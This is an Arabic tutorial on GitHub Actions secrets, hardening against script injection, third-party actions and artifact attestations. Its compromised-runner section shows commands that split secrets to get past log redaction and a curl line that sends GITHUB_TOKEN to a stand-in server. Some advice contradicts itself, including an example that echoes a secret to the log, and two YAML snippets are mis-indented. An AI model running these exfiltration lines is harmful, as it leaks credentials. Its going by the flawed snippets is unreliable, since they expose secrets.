إدارة البيانات السرية المشفرة

مكتمل

الأسرار هي متغيرات بيئة مشفرة تخزن الرموز المميزة وبيانات الاعتماد والمعلومات الحساسة الأخرى. يمكن أن تستخدم مهام سير عمل وإجراءات GitHub Actions هذه الأسرار عند الحاجة. بمجرد إنشائها، تصبح الأسرار قابلة للوصول إلى مهام سير العمل والإجراءات التي لديها إذن للوصول إلى المؤسسة أو المستودع أو البيئة حيث يتم تعريف الأسرار.

يشرح هذا القسم كيفية إدارة الأسرار المشفرة باستخدام الأدوات والاستراتيجيات في GitHub Enterprise Cloud وGitHub Enterprise Server. يمكنك أيضا معرفة كيفية استخدام هذه الأسرار داخل مهام سير العمل والإجراءات الخاصة بك.

إدارة الأسرار المشفرة في المؤسسة

تتيح لك إجراءات GitHub تخزين البيانات الحساسة واستخدامها بأمان - مثل مفاتيح واجهة برمجة التطبيقات ورمز المصادقة وكلمات المرور والشهادات - من خلال الأسرار المشفرة. يتم تخزين هذه الأسرار بشكل آمن وحقنها في مهام سير العمل. يضمن هذا التصميم عدم ظهورها في السجلات أو التعليمات البرمجية المصدر.

في بيئة المؤسسة، تعد الإدارة السرية الفعالة أمرا بالغ الأهمية. فهو يساعد على الحفاظ على الأمان، وتلبية متطلبات التوافق، ودعم الكفاءة التشغيلية. يسمح لك GitHub بإدارة الأسرار على أربعة مستويات: المؤسسةوالتنظيموالمستودع والبيئة.

نطاق الأسرار المشفرة

فهم نطاق الأسرار أمر ضروري لإدارتها بأمان في بيئة المؤسسة.

مستوى البيانات السرية	النطاق	من يمكنه الوصول	حالات الاستخدام الشائعة
أسرارEnterprise-Level	تطبيق على جميع المستودعات في مؤسسة GitHub Enterprise Cloud.	مالكو المؤسسات ومسؤولو الأمان	مشاركة بيانات الاعتماد عبر مستودعات متعددة.
أسرارOrganization-Level	تطبيق على جميع المستودعات في المؤسسة؛ تحديد اختياريا إلى المستودعات المحددة.	مالكو المؤسسة ومسؤولو الأمان	الوصول إلى الخدمات السحابية وقواعد البيانات المشتركة.
أسرارRepository-Level	تطبيق فقط على مستودع واحد.	مسؤولو المستودع ومشغلو سير العمل	تأمين بيانات الاعتماد للنشر في مستودع واحد.
أسرارEnvironment-Level	تطبيق على بيئات نشر معينة داخل مستودع، مثل التقسيم المرحلي أو الإنتاج.	مشغلات سير العمل في البيئة المحددة	فصل بيانات الاعتماد حسب بيئة النشر.

الاعتبارات الرئيسية:

• أسرار المؤسسة حصرية ل GitHub Enterprise Cloud وتدعم الإدارة المركزية عبر المؤسسة.
• توفر أسرار المؤسسة تحكما دقيقا في الوصول ويمكن أن تقتصر على مستودعات محددة.
• تساعد أسرار البيئة على منع التعرض غير المقصود عن طريق تقييد الوصول إلى بيئات سير العمل.

إدارة البيانات السرية المشفرة على المستوى التنظيمي

يساعد إنشاء أسرار مشفرة على مستوى المؤسسة على تأمين المعلومات الحساسة مع تقليل الجهد المطلوب لإدارة الأسرار عبر مستودعات متعددة.

على سبيل المثال، يحتاج بعض المطورين الذين يكتبون مهام سير العمل في مؤسسة GitHub إلى بيانات الاعتماد لنشر التعليمات البرمجية للإنتاج في بعض مهام سير العمل الخاصة بهم. لتجنب مشاركة هذه المعلومات الحساسة، يمكنك إنشاء بيانات سرية مشفر تحتوي على بيانات الاعتماد على مستوى المؤسسة. وبهذه الطريقة يمكن استخدام بيانات الاعتماد في مهام سير العمل دون المخاطرة بكشفها.

لإنشاء سر على مستوى المؤسسة، انتقل إلى مؤسستك Settings ومن الشريط الجانبي حدد Secrets and variables > Actions > New organization secret. في الشاشة التي تظهر، أدخل اسماً وقيمة واختر نهجاً للوصول إلى مستودع لتعيينه كبيانات سرية:

بمجرد الحفظ، يتم عرض نهج الوصول أسفل السر في القائمة:

يمكنك تحديد Update لمزيد من التفاصيل حول الأذونات الخاصة ببياناتك السرية.

إدارة Organization-Level البيانات السرية المشفرة عبر GitHub CLI

• إنشاء سر لمؤسسة:

  gh secret set SECRET_NAME --org my-org --body "super-secret-value"
  

• سرد جميع أسرار المؤسسة:

  gh secret list --org my-org
  

• تحديث سر موجود:

  gh secret set SECRET_NAME --org my-org --body "new-secret-value"
  

• حذف سر:

  gh secret delete SECRET_NAME --org my-org
  

اعتبارات الأمان للبيانات السرية للمؤسسة

• تقييد الأسرار إلى مستودعات محددة بدلا من منح حق الوصول إلى جميع المستودعات بشكل افتراضي.
• تنفيذ التحكم في الوصول استنادا إلى الدور (RBAC) لضمان أن أعضاء الفريق المعتمدين فقط يمكنهم إنشاء الأسرار أو تحديثها أو حذفها.
• مراقبة سجلات الوصول بانتظام لتحديد الاستخدام غير المصرح به أو النشاط المشبوه والاستجابة له.

إدارة الأسرار المشفرة على مستوى المستودع

لتحديد نطاق سر لمستودع معين، استخدم GitHub Enterprise Cloud أو GitHub Enterprise Server.

إنشاء بيانات سرية على مستوى المستودع

1. انتقل إلى إعدادات المستودع.
2. حددSecrets and variables > Actions، ثم New repository secret.
3. أدخل اسما وقيمة للبيانات السرية.

إدارة البيانات السرية المشفرة على مستوى المستودع عبر CLI

• سرد أسرار المستودع:

  gh secret list --repo my-repo
  

• تحديث سر المستودع:

  gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"
  

• حذف سر المستودع:

  gh secret delete SECRET_NAME --repo my-repo
  

الوصول إلى البيانات السرية المشفرة ضمن الإجراءات وسير العمل

في مهام سير العمل

الوصول إلى البيانات السرية باستخدام secrets السياق. استخدم إما with لتمرير السر كمدخل، أو env لتعيينه كمتغير بيئة.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

• استخدم with:تمرير السر كمعلمة إدخال إلى الإجراء . يتم استخدام هذا الأسلوب بشكل شائع عندما يحدد الإجراء المدخلات بشكل صريح في action.yml.

• استخدم env:كشف السر كمتغير بيئة للخطوة. هذا الأسلوب مفيد عندما يتوقع الأمر في الخطوة أو البرنامج النصي داخل الإجراء متغير بيئة.

في الإجراءات

لاستخدام البيانات السرية داخل إجراء مخصص، قم بتعريفها كمدخلات في action.yml ملف بيانات التعريف والوصول إليها كمتغيرات بيئة في رمز الإجراء.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

• حدد في action.yml:حدد السر كإدخل مطلوب أو اختياري.

• الوصول في التعليمات البرمجية:اقرأ البيانات السرية باستخدام مجموعة أدوات الإجراءات (مستحسن) أو عن طريق الرجوع إلى متغيرات البيئة إذا تم تعيينها.

تحذير

تجنب تشفير البيانات السرية في التعليمات البرمجية المصدر للإجراء. لإدارة المدخلات والأسرار بأمان، استخدم مجموعة أدوات الإجراءات لمعالجة القيم داخل منطق التعليمات البرمجية.

تكوين تصلب الأمان لإجراءات GitHub

يؤدي تصلب الأمان ل GitHub Actions دورا في الحفاظ على أمان سلسلة توريد البرامج. ترشدك الأقسام التالية عبر الممارسات الموصى بها لتعزيز أمان الإجراءات التي تستخدمها في مهام سير العمل الخاصة بك.

تحديد أفضل الممارسات للتخفيف من هجمات حقن البرامج النصية

تتضمن بعض أفضل الممارسات للتخفيف من هجمات حقن البرنامج النصي على إجراءات GitHub ما يلي:

1. استخدام إجراءات Javascript بدلا من البرامج النصية المضمنة: استخدم إجراءات Javascript التي تقبل قيم السياق كوسيطات بدلا من تضمين تلك القيم في البرامج النصية المضمنة. يقلل هذا الأسلوب من مخاطر إدخال البرنامج النصي لأنه لا يتم استخدام بيانات السياق لإنشاء أوامر shell أو تنفيذها مباشرة.

   يساعد تمرير متغير كمدخل إلى إجراء JavaScript على منع استخدامه في هجوم حقن البرنامج النصي.

    uses: fakeaction/checktitle@v3
    with:
      title: ${{ github.event.pull_request.title }} 
   

2. استخدام متغيرات البيئة الوسيطة في البرامج النصية المضمنة: عند استخدام البرامج النصية المضمنة، قم بتقييم المتغيرات كمتغيرات بيئة قبل استخدامها في الأوامر. يضمن هذا الأسلوب حل القيم قبل تشغيل البرنامج النصي، ما يقلل من مخاطر إدخال البرنامج النصي. على سبيل المثال، يساعد استخدام github.event.pull_request.title كمتغير بيئة على الحماية من الثغرات الأمنية للحقن:

   - name: Check PR title
       env:
         TITLE: ${{ github.event.pull_request.title }}
       run: |
         if [[ "$TITLE" =~ ^octocat ]]; then
         echo "PR title starts with 'octocat'"
         exit 0
         else
         echo "PR title did not start with 'octocat'"
         exit 1
         fi
   

   

   

3. الاستفادة من قوالب سير العمل لتنفيذ فحص التعليمات البرمجية: انتقل إلى علامة التبويب Actions الخاصة بالمستودع وحدد الزر New Workflow في الجزء الأيمن. في صفحة اختيار سير عمل ، حدد موقع قسم الأمان للوصول إلى قوالب سير العمل وتطبيقها.

   قم بتكوين الماسح الضوئي CodeQL للتشغيل على أحداث معينة، ما يتيح له مسح ملفات الفرع ضوئيا وكشف علامات CWEs (تعدادات الضعف الشائعة) في الإجراءات المستخدمة داخل مهام سير العمل، بما في ذلك الثغرات الأمنية مثل حقن البرنامج النصي.

   

   

4. تقييد أذونات الرموز المميزة: تأكد دائما من تطبيق على rule of least privilege أي رمز مميز تم إنشاؤه. بمعنى آخر، تأكد من تعيين الحد الأدنى من الامتيازات للرمز المميز لتحقيق المهمة التي تم إنشاؤها من أجلها.

أفضل الممارسات لاستخدام إجراءات الجهات الخارجية بشكل آمن

اتبع أفضل الممارسات هذه لدمج إجراءات الجهات الخارجية بأمان في مهام سير العمل الخاصة بك:

1. تثبيت الإجراءات بعلامة فقط إذا كان الكاتب موثوقا به استخدم علامات الإصدار مثل v1 أو v2، فقط عندما يتم التحقق من كاتب الإجراء والوثوق به. يساعد هذا الإجراء على تقليل مخاطر التغييرات غير المتوقعة في الإصدارات المستقبلية.

   - name: Checkout
     uses: actions/checkout@v4  # Pinned to a specific version tag
   

2. تفضيل تثبيت الإجراءات على SHA للتثبيت الكامل يضمن التثبيت إلى SHA للتثبيت الكامل أنك تستخدم إصدارا غير قابل للتغيير من الإجراء. تحقق دائما من أن الالتزام SHA يأتي من المستودع المتوقع.

   - name: Checkout
     uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
   

3. تدقيق التعليمات البرمجية المصدر للإجراء راجع مصدر الإجراء للتأكد من أنه يتعامل مع البيانات بشكل آمن ولا يتضمن سلوكا غير متوقع أو ضار.

مؤشرات إجراء جهة خارجية جدير بالثقة

استخدم الإجراءات الموثوق بها لتقليل المخاطر في مهام سير العمل.

• ابحث عن الشارة التي تم التحقق منها: تظهر الإجراءات الجديرة بالثقة في GitHub Marketplace وتعرض شارة منشئ تم التحقق منها بجوار العنوان تخبرك بأنه تم التحقق من المنشئ من قبل GitHub.

• تحقق من الوثائق:action.yml يجب أن يكون الملف موثقا جيدا ووصفا واضحا لكيفية عمل الإجراء.

استخدام تحديثات إصدار Dependabot لإبقاء الإجراءات محدثة

قم بتمكين تحديثات إصدار Dependabot للحفاظ على تبعيات GitHub Actions الخاصة بك محدثة وآمنة تلقائيا.

التأثير المحتمل لمشغل تم اختراقه

يصف هذا القسم ناقلات الهجوم المحتملة التي يمكن استغلالها إذا تم اختراق المشغل.

النقل غير المصرح للبيانات من مشغل

بينما تنقيح إجراءات GitHub البيانات السرية تلقائيا من السجلات، فإن هذا التنقيح ليس حد أمان كامل. إذا تم اختراق المشغل، يمكن للمهاجم كشف الأسرار عن قصد عن طريق طباعتها إلى السجل. على سبيل المثال:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

يمكن أيضا استخدام مشغل تم اختراقه لإعادة توجيه البيانات السرية أو بيانات المستودع الحساسة الأخرى إلى خادم خارجي باستخدام طلبات HTTP النصية.

الوصول إلى البيانات السرية

مهام سير العمل التي يتم تشغيلها من المستودعات المتشعبة باستخدام pull_request الحدث لها أذونات للقراءة فقط ولا يمكنها الوصول إلى الأسرار. ومع ذلك، تختلف الأذونات استنادا إلى نوع الحدث - مثل issue_commentأو issuespushأو أو pull_request من فرع داخل نفس المستودع. إذا تم اختراق المشغل، فهناك خطر من أن يتم كشف أسرار المستودع أو أنه يمكن إساءة استخدام وظيفة GITHUB_TOKEN بأذونات الكتابة.

• إذا تم تعيين سر أو رمز مميز إلى متغير بيئة، يمكن الوصول إليه مباشرة باستخدام printenv.
• إذا تمت الإشارة إلى سر مباشرة في تعبير، يتم تخزين البرنامج النصي shell الذي تم إنشاؤه الذي يحتوي على القيمة التي تم حلها على القرص وقد يمكن الوصول إليه.
• بالنسبة للإجراءات المخصصة، يعتمد مستوى المخاطر على كيفية التعامل مع السر ضمن منطق الإجراء. على سبيل المثال:

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

على الرغم من أن GitHub Actions يزيل البيانات السرية من الذاكرة إذا لم تتم الإشارة إليها في سير العمل أو الإجراءات المضمنة، GITHUB_TOKEN فإن وأي أسرار مستخدمة بنشاط تظل عرضة لخطر الحصاد إذا تم اختراق المشغل.

سرقة وظيفة GITHUB_TOKEN

قد يكون المهاجم قادرا على سرقة وظيفة GITHUB_TOKEN. يوفر GitHub Actions تلقائيا هذا الرمز المميز بأذونات محددة النطاق تقتصر على المستودع الذي يقوم بتشغيل سير العمل. تنتهي صلاحية الرمز المميز بمجرد اكتمال المهمة ولا يمكن إعادة استخدامها بعد ذلك.

ومع ذلك، يمكن استخدام مشغل تم اختراقه لتصفية الرمز المميز مباشرة أثناء تنفيذ المهمة. يمكن للمهاجم أتمتة طلب إلى خادم يتحكم فيه لالتقاط الرمز المميز قبل انتهاء صلاحيته. على سبيل المثال:

curl http://example.com?token=$GITHUB_TOKEN

تعديل محتويات المستودع

GITHUB_TOKEN إذا تمت سرقة، يمكن للنظام الذي يتحكم فيه المهاجم استخدامه لاستدعاء واجهة برمجة تطبيقات GitHub وتعديل محتوى المستودع.

يساعد تطبيق مبدأ الامتياز الأقل على أذونات الرمز المميز على تقليل هذا الخطر. تقييد وصول الرمز المميز إلى ما هو ضروري فقط للوظيفة.

إدارة الوصول عبر المستودعات

عندما تتطلب مهام سير العمل الوصول إلى مستودعات متعددة، من المهم اختيار بيانات الاعتماد التي تقلل من مخاطر الأمان. تتضمن بعض الخيارات الموصى بها المدرجة من الأكثر إلى الأقل تفضيلا ما يلي:

1. GITHUB_TOKEN

   يقوم GitHub تلقائيا بإنشاء GITHUB_TOKEN لكل تشغيل سير عمل. يتم تحديد نطاقه للمستودع الفردي الذي يقوم بتشغيل سير العمل ويوفر أذونات مكافئة لمستخدم الوصول إلى الكتابة في هذا المستودع. يتم إنشاء الرمز المميز في بداية كل مهمة وتنتهي صلاحيته عند اكتمال المهمة.

   استخدم كلما GITHUB_TOKEN أمكن للمصادقة الآمنة والمجالية. للحصول على التفاصيل، راجع مصادقة الرمز المميز التلقائي.

2. مفتاح توزيع المستودع

   لاستنساخ أو دفع استخدام Git داخل مهام سير العمل، استخدم مفاتيح التوزيع التي توفر الوصول للقراءة أو الكتابة إلى مستودع واحد.

ومع ذلك، لا يدعم توزيع المفاتيح الوصول إلى واجهات برمجة تطبيقات REST أو GraphQL الخاصة ب GitHub. استخدمها فقط عندما لا يكون الوصول إلى واجهة برمجة التطبيقات مطلوبا والوصول إلى Git كافيا.

3. الرموز المميزة لتطبيق GitHub

   توفر تطبيقات GitHub أذونات دقيقة ويمكن تثبيتها على مستودعات محددة. يمكنك إنشاء تطبيق GitHub داخلي، وتثبيته على المستودعات الضرورية، والمصادقة كتثبيت التطبيق داخل سير العمل الخاص بك للوصول إلى هذه المستودعات.

يوفر هذا النهج تحكما أفضل في الوصول والتدقيق مقارنة بالرموز المميزة الشخصية.

4. الرموز المميزة للوصول الشخصي (PATs)

   تجنب استخدام رموز الوصول الشخصية الكلاسيكية في مهام سير العمل. تمنح هذه الرموز المميزة وصولا واسعا عبر جميع المستودعات الشخصية والتنظيمية المرتبطة بالمستخدم، ما يؤدي إلى مخاطر كبيرة. إذا كان سير العمل يعمل في مستودع مع مساهمين متعددين، فإن جميع مستخدمي الوصول إلى الكتابة يرثون امتيازات هذا الرمز المميز بشكل فعال.

إذا كان يجب عليك استخدام رمز مميز شخصي، فبادر بإنشاء PAT دقيق مرتبط بحساب مؤسسة مخصص. تقييد وصوله إلى المستودعات المحددة التي يتطلبها سير العمل فقط.

ملاحظة

من الصعب توسيع نطاق هذا النهج ويتم تجنبه بشكل أفضل لصالح توزيع المفاتيح أو تطبيقات GitHub.

5. مفاتيح SSH على الحسابات الشخصية

   لا تستخدم مفاتيح SSH من الحسابات الشخصية في مهام سير العمل. مثل PATs الكلاسيكية، فإنها تمنح الوصول إلى جميع المستودعات المرتبطة بالحساب، بما في ذلك المستودعات الشخصية والتنظيمية. يعرض هذا الخطأ مهام سير العمل لمخاطر غير ضرورية.

إذا كانت حالة الاستخدام الخاصة بك تتضمن الاستنساخ أو الدفع عبر Git، ففكر في استخدام مفاتيح التوزيع بدلا من ذلك. وهي توفر وصولا محدد النطاق دون الكشف عن مستودعات غير مرتبطة أو طلب بيانات اعتماد شخصية.

تدقيق أحداث إجراء GitHub

يتم تسجيل نوع الإجراء، عند تشغيله، والحساب الشخصي الذي نفذ الإجراء في "سجل الأمان" و"سجل التدقيق". يسجل "سجل الأمان" الأحداث المتعلقة بحساب المستخدم الخاص بك. يسجل "سجل التدقيق" الأحداث المتعلقة بمؤسستك. وبالتالي من خلال عرض كلا هذين السجلين، يمكنك تدقيق الأحداث المتعلقة بإجراءات Github.

استخدام OIDC مع GitHub Actions

يمكنك تكوين مهام سير العمل للمصادقة مباشرة مع موفر سحابة باستخدام OIDC (OpenID Connect). في هذه الحالة، لم تعد هناك حاجة لتخزين بيانات الاعتماد كأسرار.

إثباتات البيانات الاصطناعية لإجراءات GitHub

تساعد الإثباتات الاصطناعية في تأسيس مصدر الإصدارات، وتحسين أمان سلسلة توريد البرامج من خلال التحقق من ما تم إنشاؤه وأين وكيف.

ما يجب التصديق عليه

باستخدام GitHub Actions، يمكنك التصديق على بناء مصدر وSBOM (فاتورة برامج المواد) للثنائيات وصور الحاوية.

إنشاء شهادات البيانات الاصطناعية للبنيات

عند إنشاء إثبات أداة للإنشاءات، يجب عليك التأكد من:

• لديك الأذونات المناسبة التي تم تكوينها في سير العمل
• لقد قمت بإدراج خطوة في سير العمل الخاص بك تستخدم إجراء attest-build-provenance .

يؤسس التصديق مصدر البناء. يمكنك عرض الإثباتات في علامة التبويب Actions الخاصة بالمستودع.

إنشاء إثبات لبناء مصدر الثنائيات

1. يجب إضافة الأذونات التالية إلى سير العمل الذي ينشئ الثنائي الذي تنوي التصديق عليه:

      permissions:
       id-token: write
       contents: read
       attestations: write
   

2. يجب إضافة الخطوة التالية بعد الخطوة حيث يتم إنشاء الثنائي:

     - name: Generate artifact attestation
       uses: actions/attest-build-provenance@v2
       with:
        subject-path: 'PATH/TO/ARTIFACT'
   

ملاحظة

لاحظ أن قيمة المعلمة subject-path معينة إلى مسار الثنائي الذي تشهد به.

إنشاء إثبات لمثبت بناء صور الحاوية

1. أضف الأذونات التالية إلى سير العمل الذي ينشئ صورة الحاوية:

   permissions:
     id-token: write
     contents: read
     attestations: write
     packages: write
   

2. أضف هذه الخطوة بعد إنشاء صورة الحاوية:

   - name: Generate artifact attestation
     uses: actions/attest-build-provenance@v2
     with:
       subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
       subject-digest: 'sha256:fedcba0...'
       push-to-registry: true
   

   ملاحظة

   • subject-name يجب أن تكون القيمة اسم صورة مؤهل بالكامل، مثل ghcr.io/user/app أو acme.azurecr.io/user/app. لا تقم بتضمين علامة.
   • subject-digest يجب أن يكون ملخص SHA256 للصورة، بالتنسيق sha256:HEX_DIGEST.
   • إذا كان سير العمل الخاص بك يستخدم docker/build-push-action، يمكنك استرداد الملخص من الإخراج الخاص به. للحصول على التفاصيل، راجع بناء جملة سير العمل لإجراءات GitHub.

إنشاء الإثباتات ل SBOMs

لديك القدرة على إنشاء شهادات SBOM ل SBOM. لإنشاء وتصديق على SBOM يجب تنفيذ الخطوات التالية:

• تأكد من تعيين الأذونات المناسبة في سير العمل، كما هو موضح في الأمثلة.
• يجب إنشاء SBOM للبيانات الاصطناعية في خطوة في سير العمل. على سبيل المثال، راجع anchore-sbom-action في GitHub Marketplace.
• قم بتضمين خطوة في سير العمل الخاص بك تستخدم إجراء attest-sbom (راجع الأمثلة أدناه)

إنشاء شهادة SBOM للثنائيات

1. أضف الأذونات التالية إلى سير العمل الذي ينشئ الثنائي الذي ستقوم بإنشاء إثبات SBOM له:

       permissions:
        id-token: write
        contents: read
        attestations: write
   

2. أضف الخطوة التالية بعد الخطوات التي تم فيها إنشاء الثنائي وإنشاء SBOM:

       - name: Generate SBOM attestation
       uses: actions/attest-sbom@v1
       with:
         subject-path: 'PATH/TO/ARTIFACT'
         sbom-path: 'PATH/TO/SBOM'
   

لاحظ أنه يجب تعيين قيمة المعلمة subject-path إلى مسار الثنائي الذي يصفه SBOM. يجب تعيين قيمة المعلمة sbom-path إلى مسار ملف SBOM الذي أنشأته.

إنشاء شهادة SBOM لصور الحاوية

1. يجب إضافة الأذونات التالية إلى سير العمل الذي ينشئ الثنائي الذي ستقوم بإنشاء إثبات SBOM له:

      permissions:
       id-token: write
       contents: read
       attestations: write
       packages: write
   

2. يجب إضافة الخطوة التالية بعد الخطوات التي تم فيها إنشاء الثنائي وإنشاء SBOM:

       - name: Generate SBOM attestation
       uses: actions/attest-sbom@v1
       with:
         subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
         subject-digest: 'sha256:fedcba0...'
         sbom-path: 'sbom.json'
         push-to-registry: true
   

لاحظ أن قيمة المعلمة subject-name تحدد اسم الصورة المؤهل بالكامل. على سبيل المثال، ghcr.io/user/app أو acme.azurecr.io/user/app. لا تقم بتضمين علامة كجزء من اسم الصورة.

يجب تعيين قيمة المعلمة subject-digest إلى SHA256 ملخص الموضوع للإثبات، في النموذج sha256:HEX_DIGEST. إذا كان سير العمل الخاص بك يستخدم docker/build-push-action، يمكنك استخدام إخراج الملخص من تلك الخطوة لتوفير القيمة (راجع build-push-action). لمزيد من المعلومات حول استخدام المخرجات، راجع بناء جملة سير العمل لإجراءات GitHub.

يجب تعيين قيمة المعلمة sbom-path إلى المسار إلى ملف SBOM بتنسيق JSON الذي تنوي التصديق عليه.

التحقق من شهادات البيانات الاصطناعية باستخدام GitHub CLI

يمكنك التحقق من صحة شهادات البيانات الاصطناعية الموضحة أعلاه باستخدام GitHub CLI. لمزيد من المعلومات، راجع قسم التصديق في دليل GitHub CLI.

تحذير

من المهم أن نتذكر أن إثباتات البيانات الاصطناعية ليست ضمانا بأن البيانات الاصطناعية آمنة. بدلا من ذلك، تربطك شهادات البيانات الاصطناعية بالتعليمات البرمجية المصدر وإرشادات البناء التي أنتجتها. الأمر متروك لك لتحديد معايير النهج الخاصة بك، وتقييم هذا النهج من خلال تقييم المحتوى، واتخاذ قرار مدروس بالمخاطر عند استهلاك البرامج.

الوصول إلى البيانات السرية المشفرة ضمن الإجراءات وسير العمل

مثال: استخدام سر في سير عمل

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

أفضل الممارسات لاستخدام الأسرار في مهام سير العمل

• لا تطبع الأسرار في السجلات باستخدام echo ${{ secrets.SECRET_NAME }}.
• استخدم البيانات السرية داخل أوامر البرنامج النصي، بدلا من تعيينها إلى متغيرات البيئة.
• تقييد الوصول عن طريق تعريف الأسرار عند أدنى مستوى ضروري.
• قم بتدوير الأسرار بشكل دوري وتحديث مهام سير العمل وفقا لذلك.

كيفية استخدام خزائن الجهات الخارجية

تدمج العديد من المؤسسات GitHub Actions مع حلول إدارة البيانات السرية الخارجية مثل HashiCorp Vault، وAWS Secrets Manager، وAzure Key Vault.

1. قبو هاشيكورب

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. مدير أسرار AWS (Amazon Web Services)

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

فوائد استخدام خزائن الجهات الخارجية

• تقلل الإدارة السرية المركزية من المخاطر الأمنية.
• يساعد التدوير التلقائي للبيانات السرية على الامتثال لسياسات الأمان.
• تعزز سجلات التدقيق والتحكم في الوصول مراقبة الأمان.
• يمنع الوصول الأقل امتيازا الاستخدام غير المصرح به للبيانات السرية.